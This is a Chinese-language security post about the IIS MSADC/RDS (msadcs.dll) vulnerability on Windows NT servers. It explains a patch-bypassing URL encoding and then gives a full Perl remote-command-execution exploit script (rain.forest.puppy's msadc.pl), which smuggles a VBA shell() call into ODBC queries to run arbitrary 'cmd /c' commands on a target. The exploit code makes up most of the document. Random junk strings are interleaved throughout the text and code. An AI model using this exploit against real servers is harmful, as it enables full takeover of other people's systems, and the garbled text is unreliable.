IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
BKvX,[R2 zkt`7Pg;J 涉及程序:
v[{g"C Microsoft NT server
}E0~' *:gx1wd 描述:
t~]n"zgovz 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
t(AW2{%} 4'up bI 详细:
Oi%\'biM 如果你没有时间读详细内容的话,就删除:
e=Ko4Ao2y c:\Program Files\Common Files\System\Msadc\msadcs.dll
<`rmQ`(}s 有关的安全问题就没有了。
%A64AJZ KSDz3qe 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
b+Sq[ VwvL 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
1yC_/Va1 关于利用ODBC远程漏洞的描述,请参看:
gB|>[6 -FpZZ8=,M2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -@L7!,j =z^2KH 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
fGjYWw
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Z.'j7(tu QOiPDu=8z 这里不再论述。
v=5H,4UMA iMjoatt 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9^;Cz>6s G5*"P!@6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
2^ uP[ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
7.)kG}q] ,Ei!\U^) D+#OB|&Dn #将下面这段保存为txt文件,然后: "perl -x 文件名"
yC \dM1X A.tXAOM(VW #!perl
nVB.sab #
:j^IXZW # MSADC/RDS 'usage' (aka exploit) script
2qd5iOhX+ #
[x{z}rYH # by rain.forest.puppy
]bxBo #
ncTPFv
H5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wN
NXUW # beta test and find errors!
@=_4i&]$ wnUuoX( use Socket; use Getopt::Std;
,5V w^@F getopts("e:vd:h:XR", \%args);
|"}oGL6- Ey|{yUmU+ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
HQ /D )D 4g4[n7 if (!defined $args{h} && !defined $args{R}) {
_D+pJ{@W print qq~
gy5 ^JL Usage: msadc.pl -h <host> { -d <delay> -X -v }
GmhfBW? -h <host> = host you want to scan (ip or domain)
de=){.7Y -d <seconds> = delay between calls, default 1 second
f/xQy}4+~E -X = dump Index Server path table, if available
i4T=4q -v = verbose
xVxN
@[ -e = external dictionary file for step 5
#qLsAw--Q mrmm@? Or a -R will resume a command session
|\.:h":!0~ Me 5Xd| ~; exit;}
H(?)v.% CP0;<}k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[nc-~T+Mo if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ca=sc[ $+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
R?{f:,3R if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
r=6N ZoZ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8c`EB-y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[#@\A]LO i+q tL3 if (!defined $args{R}){ $ret = &has_msadc;
:;
z]:d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4Jn+Ot.,d [>$?/DM print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E)3Ah! . "cmd /c ";
e5AZU7%. $in=<STDIN>; chomp $in;
\LG0 $command="cmd /c " . $in ;
IA%|OVAfF ~=GwNo_ if (defined $args{R}) {&load; exit;}
P2Jo^WS RGgePeaw print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8Z|A'M &try_btcustmr;
f9K+o-P.h o5B]? ekpq print "\nStep 2: Trying to make our own DSN...";
m!5MGq~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
gV}c4>v( !78P+i print "\nStep 3: Trying known DSNs...";
o75l&` &known_dsn;
_V`F_C\\# HPMj+xH print "\nStep 4: Trying known .mdbs...";
Ec9%RAxl &known_mdb;
t:x"]K >sjvE4s if (defined $args{e}){
j>8S,b=% print "\nStep 5: Trying dictionary of DSN names...";
n'To: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"D,}| &=*sN` print "Sorry Charley...maybe next time?\n";
R$h
B9BK exit;
2c*w{\X /
Q| Z&-c ##############################################################################
B?%e-xV- 15z(hzU?# sub sendraw { # ripped and modded from whisker
buldA5*!o sleep($delay); # it's a DoS on the server! At least on mine...
R]&lVXyH my ($pstr)=@_;
S5BS![-QK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
L35]'Jua die("Socket problems\n");
oeYUsnsbi if(connect(S,pack "SnA4x8",2,80,$target)){
2=
Y8$- select(S); $|=1;
w=_q<1a print $pstr; my @in=<S>;
}y1r
yeW< select(STDOUT); close(S);
.[r1Qz7G return @in;
1l5'N=hL } else { die("Can't connect...\n"); }}
+H:}1sT;n DHg)]FQ/ ##############################################################################
Or#KF6+ut Avww@$ sub make_header { # make the HTTP request
?[]jJ my $msadc=<<EOT
wP7
E8' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=pZ$oTR User-Agent: ACTIVEDATA
C2CR#b=)i Host: $ip
{[4.<|26 Content-Length: $clen
o)f$ 7. Connection: Keep-Alive
tkYPfUvTE `>4"i+NFF8 ADCClientVersion:01.06
e?7y$H- Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y@@h )P# ( Sjlm^bca --!ADM!ROX!YOUR!WORLD!
e45)t}' Content-Type: application/x-varg
"8p<NsU Content-Length: $reqlen
>Hu3Guik] :q >)c] EOT
Quwq_.DU ; $msadc=~s/\n/\r\n/g;
"S+AkLe( return $msadc;}
i#NtiZ.t= N\"Hf=Y(~ ##############################################################################
mBxMDnh 'rNLh3 sub make_req { # make the RDS request
#<y/m*Ota my ($switch, $p1, $p2)=@_;
O7%8FY my $req=""; my $t1, $t2, $query, $dsn;
QFK'r\3pU Mtl`A'KQ/K if ($switch==1){ # this is the btcustmr.mdb query
Q\W)} $query="Select * from Customers where City=" . make_shell();
foUBMl $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
l_s#7 .9$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
x~i\*Ox^ DS+BX`i%#p elsif ($switch==2){ # this is general make table query
HVdB*QEH $query="create table AZZ (B int, C varchar(10))";
^M1jv( $dsn="$p1";}
Uw]o9 e0S }vU^gPH elsif ($switch==3){ # this is general exploit table query
Py?e+[cN $query="select * from AZZ where C=" . make_shell();
|{ =Jp<}s $dsn="$p1";}
K8/jfm E9b>wP elsif ($switch==4){ # attempt to hork file info from index server
Y(] W+k< $query="select path from scope()";
#)#J`s1R $dsn="Provider=MSIDXS;";}
X(O:y^sX} T_qM@/f elsif ($switch==5){ # bad query
]4/C19Fe! $query="select";
SQ*%d.1 $dsn="$p1";}
c'XSs m70AWG $t1= make_unicode($query);
.+mP#<mAg $t2= make_unicode($dsn);
Lf:#koaC $req = "\x02\x00\x03\x00";
guVuO $req.= "\x08\x00" . pack ("S1", length($t1));
,k1ns?i9KH $req.= "\x00\x00" . $t1 ;
p-m\0tQ $req.= "\x08\x00" . pack ("S1", length($t2));
G)?j(El
$req.= "\x00\x00" . $t2 ;
<00nu'Ex1v $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
R_9M-RP6* return $req;}
]*U+nG 37biRXqLH ##############################################################################
Pc`)D:/}R ~1XC5.*-
sub make_shell { # this makes the shell() statement
gil:SUW1r return "'|shell(\"$command\")|'";}
Lxn-M5RPQ He$v'87] ##############################################################################
{H>Tv,v| M;W&#Fz% sub make_unicode { # quick little function to convert to unicode
jd2 p~W my ($in)=@_; my $out;
2s=zT5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
!acuOBv, return $out;}
tJ*/5k
& G0kF[8Am ##############################################################################
$WE=u 9m elR1NhB|p sub rdo_success { # checks for RDO return success (this is kludge)
-]-0]*oAp my (@in) = @_; my $base=content_start(@in);
&> _aY # if($in[$base]=~/multipart\/mixed/){
m;nH
v return 1 if( $in[$base+10]=~/^\x09\x00/ );}
9ei<ou_s return 0;}
[VLq/lg* ;dtA-EfOZ ##############################################################################
fLeHn,*," Lctp=X4 sub make_dsn { # this makes a DSN for us
9=FH2|Z my @drives=("c","d","e","f");
mKE'l'9A_ print "\nMaking DSN: ";
oKr= ]p foreach $drive (@drives) {
Unansk print "$drive: ";
$m-C6xC/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
's5H_ah "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
K47.zu . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,<C~DSAyZ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[vz2< genn return 0 if $2 eq "404"; # not found/doesn't exist
rLY I\ if($2 eq "200") {
I.Xbowl foreach $line (@results) {
C?MKbD=K return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zlB[Eg^X } return 0;}
v9!]/]U^ ny!80I ##############################################################################
8Ht=B,7T M04u>|
, sub verify_exists {
IF@vl my ($page)=@_;
5!wjYQt3 my @results=sendraw("GET $page HTTP/1.0\n\n");
/cVZ/" return $results[0];}
vR pO0qG Q<DXDvL ##############################################################################
>s!k"s, Y9
Bk$$#\ sub try_btcustmr {
asE.!g? my @drives=("c","d","e","f");
z).&0K my @dirs=("winnt","winnt35","winnt351","win","windows");
fh66Gn, \F\xZ.r foreach $dir (@dirs) {
Gm> =s print "$dir -> "; # fun status so you can see progress
R&:Qy7" foreach $drive (@drives) {
&|h9L' mr print "$drive: "; # ditto
nEP3B'+ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_mQj= $reqlenlen=length( "$reqlen" );
DjiI*HLNR $clen= 206 + $reqlenlen + $reqlen;
il"pKQF
R7;X my @results=sendraw(make_header() . make_req(1,$drive,$dir));
t?b@l<,s if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<[T{q
|* else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{d0
rUHP I)9, ##############################################################################
VV#'d a1ps'^Qhh sub odbc_error {
6OJhF7\0& my (@in)=@_; my $base;
+QOK]NJN my $base = content_start(@in);
YG5mzP<T if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{$pi}; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,1.Td=lY$ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w_;$ahsu~ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Lo Y*,Aa& return $in[$base+4].$in[$base+5].$in[$base+6];}
5|`./+Ghk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
pV!WZUfg print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(dy:d^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K@oyvJ$ <]_[o:nOP ##############################################################################
^rO!- hZ/p' sub verbose {
7AqbfLO my ($in)=@_;
'|*e4n return if !$verbose;
C[l5[DpH print STDOUT "\n$in\n";}
K|Xe) -s7!:MB%g ##############################################################################
U-$nwji #;+SAoN
sub save {
hBifn\dFr my ($p1, $p2, $p3, $p4)=@_;
9l |*E open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ls3r( Tf print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&m]jYvRc close OUT;}
Z.rhM[*+0C >z%WW&Z' ##############################################################################
FF7?|V!Q ??LE0i sub load {
R((KAl]dL my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i=hA. y` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NO/5pz}1 @p=<IN>; close(IN);
zz<o4bR $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
T-x9IoE $target= inet_aton($ip) || die("inet_aton problems");
l1 _"9a%H print "Resuming to $ip ...";
r^ ' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
RMid}BRE if($p[1]==1) {
[M:<!QXw $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ytV[x $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Bt1v7M my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
CHjm7 if (rdo_success(@results)){print "Success!\n";}
,w=u? else { print "failed\n"; verbose(odbc_error(@results));}}
YUyYVi7clq elsif ($p[1]==3){
A6E~GJa if(run_query("$p[3]")){
lS!O(NzqE' print "Success!\n";} else { print "failed\n"; }}
2^Z"4t4 elsif ($p[1]==4){
`=Bv+ if(run_query($drvst . "$p[3]")){
u@`y/,PX print "Success!\n"; } else { print "failed\n"; }}
EN,}[^Z exit;}
-zzT:C 2E!Q5 l!j ##############################################################################
\NKw,`/ Q)8I(* sub create_table {
%WX^']p my ($in)=@_;
Id>I.e4 $reqlen=length( make_req(2,$in,"") ) - 28;
;
0M"T[c $reqlenlen=length( "$reqlen" );
/1bQ
RI^\ $clen= 206 + $reqlenlen + $reqlen;
5Q8s{WQ my @results=sendraw(make_header() . make_req(2,$in,""));
C}pQFL{B5 return 1 if rdo_success(@results);
2r]o>X my $temp= odbc_error(@results); verbose($temp);
Ysw&J}6e return 1 if $temp=~/Table 'AZZ' already exists/;
~at:\h4: return 0;}
WY5HmNX3E S0LaQ<9. ##############################################################################
-3m!970 23a:q{R sub known_dsn {
A ^zd:h- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Mp[2A uf my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
e)87
&
7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m}>Q#IVZ "banner", "banners", "ads", "ADCDemo", "ADCTest");
A>RK3{7 ?V(+Cc foreach $dSn (@dsns) {
6!;D],,"#. print ".";
Qv]rj]% next if (!is_access("DSN=$dSn"));
hDBo
XIK if(create_table("DSN=$dSn")){
!-&;t7R print "$dSn successful\n";
>9yy91H if(run_query("DSN=$dSn")){
glBS|b$\: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
''q#zEf6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
:oiHf: %&s4YD/{ ##############################################################################
{K:]dO e5'U[bQm sub is_access {
(rq(y$N my ($in)=@_;
QHnC(b $reqlen=length( make_req(5,$in,"") ) - 28;
j6L (U~% $reqlenlen=length( "$reqlen" );
58eO|c( $clen= 206 + $reqlenlen + $reqlen;
9g.5: my @results=sendraw(make_header() . make_req(5,$in,""));
1qm*#4x my $temp= odbc_error(@results);
9;L8%T
( verbose($temp); return 1 if ($temp=~/Microsoft Access/);
c'5ls7?}O{ return 0;}
1S yG dx$+,R~y ##############################################################################
O]j<